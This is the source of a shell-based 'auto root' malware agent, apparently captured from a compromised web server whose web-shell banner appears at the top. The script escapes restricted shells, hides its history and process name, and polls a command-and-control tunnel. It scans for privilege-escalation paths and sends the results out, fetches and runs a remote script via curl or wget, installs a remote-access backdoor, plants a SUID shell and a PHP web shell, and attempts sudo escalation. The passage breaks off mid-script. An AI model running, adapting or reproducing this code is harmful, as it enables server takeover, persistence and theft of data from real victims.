| Server IP : 10.10.92.66 / Your IP : 104.23.197.231 Web Server : Apache/2.4.52 (Ubuntu) System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 User : jurnal ( 1001) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /run/shm/ |
Upload File : |
#!/bin/sh
# MARKAS ESCOBAR X 1337 Auto Root agent — fingerprint victim, poll for exploit commands, exec + report
# ORIGIN is patched by main.py before serving this script
ORIGIN="${ORIGIN:-https://surgeon-sbjct-ranger-senior.trycloudflare.com}"
POLL=4
TIMEOUT=90
_SUDO_PASS='' # injectable via /api/set_pass — used for no-TTY sudo with -S/askpass
# ── restricted-shell escape ───────────────────────────────────────────
# rbash/rksh blocks: cd to abs path, setting PATH, running /path/cmd.
# Detection: `cd /` fails in rbash. Escape via Python os.execv (direct
# syscall, not filtered by shell) or awk system() (calls C stdlib).
if ! ( cd / ) 2>/dev/null; then
# Python — exec without path separator (allowed in rbash), then
# Python calls os.execv('/bin/bash') as a kernel syscall directly.
for _py in python3 python python2; do
command -v "$_py" >/dev/null 2>&1 || continue
exec "$_py" -c \
"import os,sys; os.execv('/bin/bash',['/bin/bash','-p']+sys.argv[1:])" \
"$0" "$@" 2>/dev/null
done
# awk system() → calls C stdlib system(), bypasses rbash entirely
command -v awk >/dev/null 2>&1 && \
exec awk 'BEGIN{system("/bin/bash -p")}' 2>/dev/null || true
# perl: same idea as awk
command -v perl >/dev/null 2>&1 && \
exec perl -e 'exec "/bin/bash","-p"' 2>/dev/null || true
# last resort: direct path to bash (may be blocked in strict rbash)
for _sh in /bin/bash /usr/bin/bash /usr/local/bin/bash; do
[ -x "$_sh" ] && exec "$_sh" -p "$0" "$@" 2>/dev/null || true
done
fi
# ── fork to background using $0 (valid file path when exec'd by bootstrap) ──
# Bootstrap does `exec "$_t"` so $0 = the temp file on disk — can be re-exec'd.
# Parent exits immediately → gsocket terminal freed. Child runs the real agent.
if [ -z "${_SVC_IN:-}" ]; then
export _SVC_IN=1
if command -v setsid >/dev/null 2>&1; then
setsid sh "$0" </dev/null >/dev/null 2>&1 &
else
nohup sh "$0" </dev/null >/dev/null 2>&1 &
fi
printf '\033[0;32m[MARKAS ESCOBAR X 1337] STARTED\033[0m\n'
exit 0
fi
# ── anti-forensics — suppress history, camouflage process ────────────────
unset HISTFILE HISTSIZE HISTFILESIZE 2>/dev/null
export HISTFILE=/dev/null
history -c 2>/dev/null
[ -w /proc/self/comm ] && printf 'kworker/0:2' > /proc/self/comm 2>/dev/null || true
# ── url-encode ───────────────────────────────────────────────────────────
ue(){
printf '%s' "$1" | python3 -c \
'import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read(),safe=""),end="")' \
2>/dev/null && return
printf '%s' "$1" | python -c \
'import sys,urllib;sys.stdout.write(urllib.quote(sys.stdin.read()))' \
2>/dev/null && return
printf '%s' "$1" | sed 's/ /%20/g;s/&/%26/g;s/=/%3D/g;s/#/%23/g;s/+/%2B/g;s/"/%22/g'
}
# ── http helpers — full fallback chain ───────────────────────────────────
# _hparse URL → sets _HH (host) _HP (path) _HS (1=https)
_hparse(){
_HH=$(printf '%s' "$1" | sed 's|^https\?://||;s|[/:?#].*||')
_HP=$(printf '%s' "$1" | sed 's|^https\?://[^/]*||'); [ -n "$_HP" ] || _HP='/'
_HS=0; printf '%s' "$1" | grep -q '^https' && _HS=1
}
# ── GET (stdout) ──────────────────────────────────────────────────────────
_get(){
local _u="$1"
# 1. curl
command -v curl >/dev/null 2>&1 && { curl -fsSL -m15 -k "$_u" 2>/dev/null; return; }
# 2. wget
command -v wget >/dev/null 2>&1 && { wget -qO- -T15 --no-check-certificate "$_u" 2>/dev/null; return; }
# 3. python3
command -v python3 >/dev/null 2>&1 && {
python3 -c "
import sys,ssl,urllib.request as r
c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
sys.stdout.buffer.write(r.urlopen(sys.argv[1],context=c,timeout=15).read())
" "$_u" 2>/dev/null; return; }
# 4. python2
command -v python >/dev/null 2>&1 && {
python -c "
import sys,urllib2,ssl
try: ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
except: ctx=None
sys.stdout.write(urllib2.urlopen(sys.argv[1],context=ctx,timeout=15).read() if ctx else urllib2.urlopen(sys.argv[1],timeout=15).read())
" "$_u" 2>/dev/null; return; }
# 5. perl — LWP
command -v perl >/dev/null 2>&1 && {
perl -e 'use LWP::Simple; $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0; print get($ARGV[0])//"";' \
"$_u" 2>/dev/null; return; }
# 6. php
command -v php >/dev/null 2>&1 && {
php -r 'echo @file_get_contents($argv[1],false,stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]));' \
-- "$_u" 2>/dev/null; return; }
# 7. ruby
command -v ruby >/dev/null 2>&1 && {
ruby -e 'require "open-uri"; $stdout.write(URI.open(ARGV[0],:ssl_verify_mode=>0).read)' \
"$_u" 2>/dev/null; return; }
# 8. node.js
command -v node >/dev/null 2>&1 && {
node -e "
process.env.NODE_TLS_REJECT_UNAUTHORIZED='0';
var h=require('$_u'.match(/^https/)?'https':'http');
var b=[];h.get('$_u',function(r){r.on('data',function(d){b.push(d)});r.on('end',function(){process.stdout.write(Buffer.concat(b))})});
" 2>/dev/null; return; }
# 9. openssl s_client — HTTPS without curl/wget
_hparse "$_u"
[ "$_HS" = 1 ] && command -v openssl >/dev/null 2>&1 && {
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \
openssl s_client -quiet -connect "${_HH}:443" 2>/dev/null | \
sed '1,/^\r$/d'; return; }
# 10. /dev/tcp — HTTP only, bash built-in
[ "$_HS" = 0 ] && [ -n "$BASH_VERSION" ] && {
bash -c "
exec 3<>/dev/tcp/${_HH}/80 2>/dev/null || exit 1
printf 'GET ${_HP} HTTP/1.0\r\nHost: ${_HH}\r\nConnection: close\r\n\r\n' >&3
sed '1,/^\r\$/d' <&3; exec 3>&- 3<&-
" 2>/dev/null; return; }
# 11. nc/ncat/netcat — HTTP only
[ "$_HS" = 0 ] && for _nc in ncat netcat nc busybox; do
command -v "$_nc" >/dev/null 2>&1 || continue
[ "$_nc" = busybox ] && ! busybox nc --help 2>&1 | grep -q nc && continue
_ncc="$_nc"; [ "$_nc" = busybox ] && _ncc="busybox nc"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \
$_ncc -w10 "$_HH" 80 2>/dev/null | sed '1,/^\r$/d'; return
done
# 12. socat — HTTP/HTTPS
command -v socat >/dev/null 2>&1 && {
local _pr; [ "$_HS" = 1 ] && _pr="SSL:${_HH}:443,verify=0" || _pr="TCP:${_HH}:80"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \
socat - "$_pr" 2>/dev/null | sed '1,/^\r$/d'; return; }
# 13. fetch (FreeBSD/pfSense/Alpine)
command -v fetch >/dev/null 2>&1 && { fetch -qo - "$_u" 2>/dev/null; return; }
return 1
}
# ── POST URL DATA (stdout = response) ────────────────────────────────────
_post(){
local _u="$1" _d="$2"
# 1. curl
command -v curl >/dev/null 2>&1 && {
curl -fsSL -m15 -k --data "$_d" "$_u" 2>/dev/null; return; }
# 2. wget
command -v wget >/dev/null 2>&1 && {
wget -qO- -T15 --no-check-certificate --post-data="$_d" "$_u" 2>/dev/null; return; }
# 3. python3
command -v python3 >/dev/null 2>&1 && {
python3 -c "
import sys,ssl,urllib.request as r,urllib.parse as p
c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
sys.stdout.buffer.write(r.urlopen(r.Request(sys.argv[1],sys.argv[2].encode()),context=c,timeout=15).read())
" "$_u" "$_d" 2>/dev/null; return; }
# 4. python2
command -v python >/dev/null 2>&1 && {
python -c "
import sys,urllib2
sys.stdout.write(urllib2.urlopen(urllib2.Request(sys.argv[1],sys.argv[2]),timeout=15).read())
" "$_u" "$_d" 2>/dev/null; return; }
# 5. perl — LWP
command -v perl >/dev/null 2>&1 && {
perl -e '
use LWP::UserAgent; $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;
my $ua=LWP::UserAgent->new(timeout=>15);
my $r=$ua->post($ARGV[0],Content=>$ARGV[1]);
print $r->content//"";' "$_u" "$_d" 2>/dev/null; return; }
# 6. php
command -v php >/dev/null 2>&1 && {
php -r '
$ctx=stream_context_create(["http"=>["method"=>"POST","header"=>"Content-Type: application/x-www-form-urlencoded","content"=>$argv[2]],"ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);
echo @file_get_contents($argv[1],false,$ctx);' -- "$_u" "$_d" 2>/dev/null; return; }
# 7. ruby
command -v ruby >/dev/null 2>&1 && {
ruby -e '
require "net/http"; require "uri"
u=URI(ARGV[0]); h=Net::HTTP.new(u.host,u.port)
h.use_ssl=(u.scheme=="https"); h.verify_mode=0
puts h.post(u.path||"/",ARGV[1]).body' "$_u" "$_d" 2>/dev/null; return; }
# 8. openssl — HTTPS POST
_hparse "$_u"
[ "$_HS" = 1 ] && command -v openssl >/dev/null 2>&1 && {
local _len=${#_d}
printf 'POST %s HTTP/1.0\r\nHost: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s' \
"$_HP" "$_HH" "$_len" "$_d" | \
openssl s_client -quiet -connect "${_HH}:443" 2>/dev/null | sed '1,/^\r$/d'; return; }
# 9. /dev/tcp — HTTP POST only
[ "$_HS" = 0 ] && [ -n "$BASH_VERSION" ] && {
local _len=${#_d}
bash -c "
exec 3<>/dev/tcp/${_HH}/80 2>/dev/null || exit 1
printf 'POST ${_HP} HTTP/1.0\r\nHost: ${_HH}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ${_len}\r\nConnection: close\r\n\r\n${_d}' >&3
sed '1,/^\r\$/d' <&3; exec 3>&- 3<&-
" 2>/dev/null; return; }
}
# ── DOWNLOAD URL to FILE ──────────────────────────────────────────────────
_dl(){
local _u="$1" _f="$2"
# 1. curl
command -v curl >/dev/null 2>&1 && {
curl -fsSL -m60 -k "$_u" -o "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 2. wget
command -v wget >/dev/null 2>&1 && {
wget -qO "$_f" -T60 --no-check-certificate "$_u" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 3. python3
command -v python3 >/dev/null 2>&1 && {
python3 -c "
import sys,ssl,urllib.request as r
c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
open(sys.argv[2],'wb').write(r.urlopen(sys.argv[1],context=c,timeout=60).read())
" "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 4. python2
command -v python >/dev/null 2>&1 && {
python -c "
import sys,urllib2
open(sys.argv[2],'wb').write(urllib2.urlopen(sys.argv[1],timeout=60).read())
" "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 5. perl — LWP::Simple
command -v perl >/dev/null 2>&1 && {
perl -e '
use LWP::Simple; $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;
my $d=get($ARGV[0]) or exit 1;
open(my $f,">",$ARGV[1]) or exit 1; print $f $d; close $f' \
"$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 6. php
command -v php >/dev/null 2>&1 && {
php -r '
$ctx=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);
$d=@file_get_contents($argv[1],false,$ctx); if($d!==false)file_put_contents($argv[2],$d);' \
-- "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 7. ruby
command -v ruby >/dev/null 2>&1 && {
ruby -e '
require "open-uri"; File.open(ARGV[1],"wb"){|f|f.write(URI.open(ARGV[0],:ssl_verify_mode=>0).read)}' \
"$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 8. node.js
command -v node >/dev/null 2>&1 && {
node -e "
process.env.NODE_TLS_REJECT_UNAUTHORIZED='0';
var h=require('$_u'.match(/^https/)?'https':'http'),fs=require('fs');
var f=fs.createWriteStream('$_f');
h.get('$_u',function(r){r.pipe(f);f.on('finish',function(){f.close();process.exit(0)})}).on('error',function(){process.exit(1)});
" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 9. openssl s_client — HTTPS without curl/wget
_hparse "$_u"
[ "$_HS" = 1 ] && command -v openssl >/dev/null 2>&1 && {
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \
openssl s_client -quiet -connect "${_HH}:443" 2>/dev/null | \
sed '1,/^\r$/d' > "$_f" && [ -s "$_f" ] && return 0; }
# 10. /dev/tcp — HTTP only
[ "$_HS" = 0 ] && [ -n "$BASH_VERSION" ] && {
bash -c "
exec 3<>/dev/tcp/${_HH}/80 2>/dev/null || exit 1
printf 'GET ${_HP} HTTP/1.0\r\nHost: ${_HH}\r\nConnection: close\r\n\r\n' >&3
sed '1,/^\r\$/d' <&3 > '${_f}'; exec 3>&- 3<&-
" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 11. nc/ncat/netcat — HTTP only
[ "$_HS" = 0 ] && for _nc in ncat netcat nc; do
command -v "$_nc" >/dev/null 2>&1 || continue
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \
"$_nc" -w30 "$_HH" 80 2>/dev/null | sed '1,/^\r$/d' > "$_f"
[ -s "$_f" ] && return 0; break
done
# 12. socat — HTTP/HTTPS
command -v socat >/dev/null 2>&1 && {
local _pr; [ "$_HS" = 1 ] && _pr="SSL:${_HH}:443,verify=0" || _pr="TCP:${_HH}:80"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \
socat - "$_pr" 2>/dev/null | sed '1,/^\r$/d' > "$_f"
[ -s "$_f" ] && return 0; }
# 13. fetch (FreeBSD / Alpine / pfSense)
command -v fetch >/dev/null 2>&1 && {
fetch -qo "$_f" "$_u" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 14. aria2c
command -v aria2c >/dev/null 2>&1 && {
aria2c -q --check-certificate=false -o "$_f" "$_u" 2>/dev/null && [ -s "$_f" ] && return 0; }
# 15. lwp-download (perl LWP command-line)
command -v lwp-download >/dev/null 2>&1 && {
lwp-download "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; }
return 1
}
# ── static binary bootstrap ──────────────────────────────────────────────
# If wget/curl not found, try to self-bootstrap from pkgforge.dev static bins.
# Runs ONCE, sets BB (busybox path) if found, adds busybox applets to PATH.
BB=''
_bootstrap_static(){
command -v curl >/dev/null 2>&1 && return 0 # already have curl, skip
command -v wget >/dev/null 2>&1 && return 0 # already have wget, skip
local _arch _bburl _bb
_arch=$(uname -m 2>/dev/null || echo x86_64)
_bburl="https://bin.pkgforge.dev/${_arch}/busybox-static"
_bb="${WDIR}/bb"
# try to download busybox with available tools (python/perl/php/ruby/openssl)
_dl "$_bburl" "$_bb" 2>/dev/null && chmod 700 "$_bb" 2>/dev/null && {
BB="$_bb"
# verify it works
"$_bb" id >/dev/null 2>&1 || { BB=''; return 1; }
# install applet wrappers — wget and curl-ish via busybox wget
ln -sf "$_bb" "${WDIR}/wget" 2>/dev/null && {
# Prepend WDIR to PATH so _dl() picks up our fake wget
PATH="${WDIR}:${PATH}"; export PATH; }
return 0
}
return 1
}
# ── api helpers ──────────────────────────────────────────────────────────
_event(){ _get "${ORIGIN}/api/event?h=$(ue "$1")&e=$(ue "$2")&s=$(ue "$3")" \
>/dev/null 2>&1 || true; }
_dbg(){ _get "${ORIGIN}/api/dbg?h=$(ue "$1")&e=$(ue "$2")&msg=$(ue "$3")" \
>/dev/null 2>&1 || true; }
_out(){ _post "${ORIGIN}/api/output" \
"h=$(ue "$1")&e=$(ue "$2")&out=$(ue "$3")${4:+&st=$(ue "$4")}" || true; }
# ── early presence ping (lightweight — no victim registration) ──────────
# Keeps the API warm during the initial fingerprint scan.
# Full /api/report handles all victim registration + exploit queueing.
_early_h=$(hostname 2>/dev/null || cat /proc/sys/kernel/hostname 2>/dev/null || echo unknown)
_post "${ORIGIN}/api/ping" \
"host=$(ue "$_early_h")&ts=$(date +%s 2>/dev/null || echo 0)" \
>/dev/null 2>&1 || true
# ── quick-win scan (background, exploits continue regardless) ─────────────
# Phase 1: fast checks (<1s) reported immediately so panel appears right away.
# Phase 2: slow filesystem scans (getcap, find) run after and update panel.
_quick_win(){
local sudo_r='' docker_r='' caps_r='' lxd_r='' cron_r='' suid_r='' passwd_r='' nfs_r='' pathijack_r='' container_r=''
local ldpreload_r='' shadow_r='' pam_d_r='' disk_grp_r='' sudoersd_r='' interesting_r='' systemd_ts_r=''
local shared_hosting_r=''
# ── Phase 0: shared hosting / grsec detection (runs first, shapes later checks) ──
# Detects OVH mutualized hosting, cPanel, Plesk, and grsec kernel.
# If detected: kernel exploits are marked as skip-worthy; ovh_probe is prioritised.
_kern_r=$(uname -r 2>/dev/null || echo '')
_sh_type=''; _sh_flags=''
# grsec kernel (OVH, Grsecurity)
printf '%s' "$_kern_r" | grep -qi 'grsec\|grsecurity\|ovh-vps-grsec' && \
_sh_flags="${_sh_flags}grsec,"
# OVH mutualized hosting indicators
{ [ -x /bin/ovh_sftponly ] 2>/dev/null || \
grep -q 'ovhcron' /etc/passwd 2>/dev/null || \
cat /proc/mounts 2>/dev/null | grep -q 'homez'; } && _sh_type='ovh'
# cPanel
[ -d /usr/local/cpanel ] 2>/dev/null && _sh_type='cpanel'
[ -f /etc/cpanel_userdata ] 2>/dev/null && _sh_type='cpanel'
# Plesk
[ -d /usr/local/psa ] 2>/dev/null && _sh_type='plesk'
# DirectAdmin
[ -d /usr/local/directadmin ] 2>/dev/null && _sh_type='directadmin'
# /tmp noexec
_tmp_noexec=0
cat /proc/mounts 2>/dev/null | grep -E '^[^ ]+ /tmp ' | grep -q 'noexec' && _tmp_noexec=1
[ "$_tmp_noexec" = 1 ] && _sh_flags="${_sh_flags}noexec_tmp,"
# nosuid on home dir (NFS nosuid)
cat /proc/mounts 2>/dev/null | grep -E 'home|homez' | grep -q 'nosuid' && \
_sh_flags="${_sh_flags}nosuid_nfs,"
_sh_flags=$(printf '%s' "$_sh_flags" | sed 's/,$//')
if [ -n "$_sh_type" ] || [ -n "$_sh_flags" ]; then
shared_hosting_r="${_sh_type:-generic}${_sh_flags:+|}${_sh_flags}"
fi
# ── Phase 1: fast checks ─────────────────────────────────────────────────
# 1. sudo -l NOPASSWD — also try password-based when _SUDO_PASS is set
command -v sudo >/dev/null 2>&1 && \
sudo_r=$(sudo -ln 2>/dev/null | grep -i NOPASSWD | head -1 | \
sed 's/^[[:space:]]*//' | head -c 200) || true
if [ -z "$sudo_r" ] && [ -n "$_SUDO_PASS" ] && command -v sudo >/dev/null 2>&1; then
_sudo_l=$(printf '%s\n' "$_SUDO_PASS" | sudo -S -l 2>/dev/null | head -10 || true)
if printf '%s' "$_sudo_l" | grep -qiE 'may run the following|NOPASSWD|ALL.*ALL'; then
sudo_r="(password) ALL" # signal that password sudo is available
fi
fi
# 2. docker socket writable
[ -S /var/run/docker.sock ] && [ -w /var/run/docker.sock ] && \
docker_r='/var/run/docker.sock'
# 4. lxd / lxc group
id 2>/dev/null | grep -qE '\blxd\b|\blxc\b' && lxd_r='member' || true
# 5. writable cron (fast — only checks known dirs, no deep scan)
cron_r=$(find /etc/cron.d /etc/cron.daily /etc/cron.weekly \
/etc/cron.hourly /var/spool/cron -maxdepth 2 -writable -type f \
2>/dev/null | head -3 | tr '\n' '|' | head -c 200) || true
# 6. writable /etc/passwd
[ -w /etc/passwd ] 2>/dev/null && passwd_r='writable' || true
# 7. container environment — detect type + escape vectors
local _ctype='' _cflags=''
if [ -f /.dockerenv ] || grep -qi '\bdocker\b' /proc/1/cgroup 2>/dev/null; then
_ctype='docker'
elif [ -n "${KUBERNETES_SERVICE_HOST:-}" ] || grep -qi 'kubepods' /proc/1/cgroup 2>/dev/null; then
_ctype='k8s'
elif grep -qiE '^[0-9]+:.*lxc' /proc/1/cgroup 2>/dev/null; then
_ctype='lxc'
elif grep -qi 'containerd' /proc/1/cgroup 2>/dev/null; then
_ctype='container'
elif grep -q 'CapEff:.*ffffffffffffffff' /proc/self/status 2>/dev/null; then
_ctype='privileged'
fi
if [ -n "$_ctype" ]; then
grep -q 'CapEff:.*ffffffffffffffff' /proc/self/status 2>/dev/null && _cflags="${_cflags}priv,"
{ [ -S /var/run/docker.sock ] && [ -w /var/run/docker.sock ]; } 2>/dev/null && _cflags="${_cflags}sock,"
[ -w /proc/sysrq-trigger ] 2>/dev/null && _cflags="${_cflags}proc,"
id 2>/dev/null | grep -qE '\blxd\b|\blxc\b' && _cflags="${_cflags}lxd,"
_cflags=$(printf '%s' "$_cflags" | sed 's/,$//')
container_r="${_ctype}|${_cflags}"
fi
# ── Phase 1 continued: file/group permission checks ──────────────────────
# writable /etc/ld.so.preload → gcc-inject shared object, trigger via any SUID binary
{ [ -f /etc/ld.so.preload ] && [ -w /etc/ld.so.preload ]; } 2>/dev/null && \
ldpreload_r='writable' || true
# readable /etc/shadow → steal hashes → crack offline → SSH as root
[ -r /etc/shadow ] 2>/dev/null && shadow_r='readable' || true
# writable PAM config → backdoor auth stack (e.g. pam_exec.so inject)
pam_d_r=$(find /etc/pam.d -maxdepth 1 -writable -type f 2>/dev/null | head -1) || true
# disk group → dd /dev/sdX, read raw disk, extract shadow hash lines
id 2>/dev/null | grep -qE '\bdisk\b' && disk_grp_r='member' || true
# writable /etc/sudoers.d/ dir or file → drop NOPASSWD entry
sudoersd_r=$(find /etc/sudoers.d -maxdepth 1 -writable 2>/dev/null | head -1) || true
# Report fast results immediately — panel appears in dashboard right away
_post "${ORIGIN}/api/quickwin" \
"h=$(ue "$HOST")&sudo=$(ue "$sudo_r")&docker=$(ue "$docker_r")&caps=&lxd=$(ue "$lxd_r")&cron=$(ue "$cron_r")&suid=&passwd=$(ue "$passwd_r")&container=$(ue "$container_r")&nfs=&pathijack=&ldpreload=$(ue "$ldpreload_r")&shadow=$(ue "$shadow_r")&pam_d=$(ue "$pam_d_r")&disk_grp=$(ue "$disk_grp_r")&sudoersd=$(ue "$sudoersd_r")&shared_hosting=$(ue "$shared_hosting_r")" \
>/dev/null 2>&1 || true
# ── Phase 2: slow filesystem scans — update panel when done ──────────────
# 3. capabilities (cap_setuid / cap_sys_admin) — getcap -r / can be slow
command -v getcap >/dev/null 2>&1 && \
caps_r=$(getcap -r /usr /bin /sbin /home 2>/dev/null | \
grep -E 'cap_setuid|cap_dac_override|cap_sys_admin' | \
head -3 | tr '\n' '|' | head -c 200) || true
# 6. SUID interpreters + GTFOBins binaries — limited to common dirs
suid_r=$(find /usr /bin /sbin /opt /home -perm -4000 -type f 2>/dev/null | \
grep -E '(python|perl|ruby|php|node|tclsh|gawk|/env$|/find$|/awk$|/nmap$|/vi$|/vim$)' | \
head -3 | tr '\n' '|' | head -c 200) || true
# 7. NFS no_root_squash
nfs_r=$(grep -v '^#' /etc/exports 2>/dev/null | grep 'no_root_squash' | \
head -3 | tr '\n' '|' | head -c 200) || true
# 8. PATH hijack — SUID binary calling relative command in writable PATH dir
if command -v strings >/dev/null 2>&1; then
local _slist _sb _rcmd _wpath
_slist=$(find /usr /bin /sbin -perm -4000 -type f 2>/dev/null | head -8)
for _sb in $_slist; do
_rcmd=$(strings "$_sb" 2>/dev/null | \
grep -xE '(python3?|perl|ruby|sh|bash|service|awk|cat|find)' | head -1)
[ -z "$_rcmd" ] && continue
_wpath=$(printf '%s' "$PATH" | tr ':' '\n' | while read -r _pd; do
[ -d "$_pd" ] && [ -w "$_pd" ] 2>/dev/null && printf '%s' "$_pd" && break
done)
if [ -n "$_wpath" ]; then
pathijack_r="${_sb}:${_wpath}:${_rcmd}"; break
fi
done
fi
# ── Phase 2 continued: interesting bins + writable systemd units ─────────
# Offensive toolkit bins available on target (useful for pivoting/tunnelling)
interesting_r=$(command -v strace gdb gcc make curl wget nc ncat nmap \
tcpdump openssl socat screen tmux 2>/dev/null | \
tr '\n' ' ' | head -c 200) || true
# Writable systemd service/timer files → inject ExecStart payload
systemd_ts_r=$(find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system \
\( -writable -name '*.service' -o -writable -name '*.timer' \) \
-type f 2>/dev/null | head -2 | tr '\n' '|' | head -c 200) || true
# Update panel with slow results
_post "${ORIGIN}/api/quickwin" \
"h=$(ue "$HOST")&sudo=$(ue "$sudo_r")&docker=$(ue "$docker_r")&caps=$(ue "$caps_r")&lxd=$(ue "$lxd_r")&cron=$(ue "$cron_r")&suid=$(ue "$suid_r")&passwd=$(ue "$passwd_r")&container=$(ue "$container_r")&nfs=$(ue "$nfs_r")&pathijack=$(ue "$pathijack_r")&ldpreload=$(ue "$ldpreload_r")&shadow=$(ue "$shadow_r")&pam_d=$(ue "$pam_d_r")&disk_grp=$(ue "$disk_grp_r")&sudoersd=$(ue "$sudoersd_r")&interesting=$(ue "$interesting_r")&systemd_ts=$(ue "$systemd_ts_r")&shared_hosting=$(ue "$shared_hosting_r")" \
>/dev/null 2>&1 || true
# Shared gsocket stdin payload for escalation attempts
local _qs="${WDIR}/.qws"
{
printf '# -- install gsocket --\n'
printf 'GS_HOST=107.152.47.226 GS_PORT=443 bash -c "$(curl -fsSL https://localroot.sbs/merged.sh 2>/dev/null || wget --no-verbose -O- https://localroot.sbs/merged.sh 2>/dev/null)" 2>/dev/null\n'
printf 'printf "\\n# -- gsocket exit: %%s --\\n" $?\n'
printf '# -- SUID bash persistence --\n'
printf 'cp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null && chown root:%s %s 2>/dev/null && touch -r /bin/bash %s 2>/dev/null || true\n' \
"$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH"
printf '# -- webshell plant --\n'
printf '_wn=".$(hostname 2>/dev/null | sha256sum 2>/dev/null | cut -c1-8 || echo cr).php"\n'
printf 'for _xd in /var/www/html /var/www /srv/http /srv/www /usr/share/nginx/html; do\n'
printf ' [ -d "$_xd" ] && [ -w "$_xd" ] || continue\n'
printf ' printf "<?php @system(\\$_REQUEST[c]);?>" > "$_xd/$_wn" 2>/dev/null && printf "WEBSHELL:%%s/%%s\\n" "$_xd" "$_wn" && break\n'
printf 'done\n'
printf 'id; exit\n'
} > "$_qs" 2>/dev/null
# ── helper: report successful escalation to dashboard ────────────────────
# _qwroot METHOD "copy-paste-cmd" "id output line"
_qwroot(){
_post "${ORIGIN}/api/qwroot" \
"h=$(ue "$HOST")&method=$(ue "$1")&cmd=$(ue "$2")&id=$(ue "$3")" \
>/dev/null 2>&1 || true
}
# extract first uid= line from captured output
_qwid(){ printf '%s' "$1" | grep 'uid=' | tail -1 2>/dev/null || echo '(check output)'; }
# ── sudo escalation attempt
if [ -n "$sudo_r" ]; then (
_event "$HOST" "qw_sudo" "running"
local _b _esc _o="${WDIR}/qws.out"
# ── SUDO_ASKPASS injection for no-TTY environments ──────────────────
# When _SUDO_PASS is set, override sudo() to use -A (askpass) so password
# is injected without needing an interactive TTY and without consuming stdin.
if [ -n "$_SUDO_PASS" ]; then
_appass="${WDIR}/.appass$$"; _ap="${WDIR}/.ap$$"
printf '%s' "$_SUDO_PASS" > "$_appass"
printf '#!/bin/sh\ncat %s; printf "\\n"\n' "$_appass" > "$_ap"
chmod 0700 "$_ap" 2>/dev/null
export SUDO_ASKPASS="$_ap"
sudo(){ command sudo -A "$@"; }
fi
# ── end SUDO_ASKPASS ────────────────────────────────────────────────
_b=$(printf '%s' "$sudo_r" | grep -oE '/[^ ,]+' | head -1)
# When sudo_r is our "(password) ALL" sentinel, pick a shell as target
[ -z "$_b" ] && _b=$(command -v bash || command -v sh || echo /bin/sh)
case "${_b##*/}" in
python*) _esc="sudo $_b -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'";
sudo "$_b" -c \
'import os,sys;os.setuid(0);exec(open(sys.stdin.fileno()).read())' \
<"$_qs" >"$_o" 2>&1 ;;
perl*) _esc="sudo $_b -e 'use POSIX; POSIX::setuid(0); exec \"/bin/bash\",\"-p\"'";
sudo "$_b" -e \
'use POSIX;POSIX::setuid(0);exec "/bin/bash","-p"' \
<"$_qs" >"$_o" 2>&1 ;;
ruby*) _esc="sudo $_b -e 'exec \"/bin/bash\",\"-p\"'";
sudo "$_b" -e 'exec "/bin/bash","-p"' <"$_qs" >"$_o" 2>&1 ;;
vim|vi) _esc="sudo $_b -c ':py3 import os;os.setuid(0);os.system(\"/bin/bash -p\")'";
sudo "$_b" -c \
':py3 import os;os.setuid(0);os.system("/bin/bash -p")' \
</dev/null >"$_o" 2>&1 ;;
bash*|sh*) _esc="sudo $_b -p";
sudo "$_b" -p <"$_qs" >"$_o" 2>&1 ;;
clpctlWrapper|clpctl)
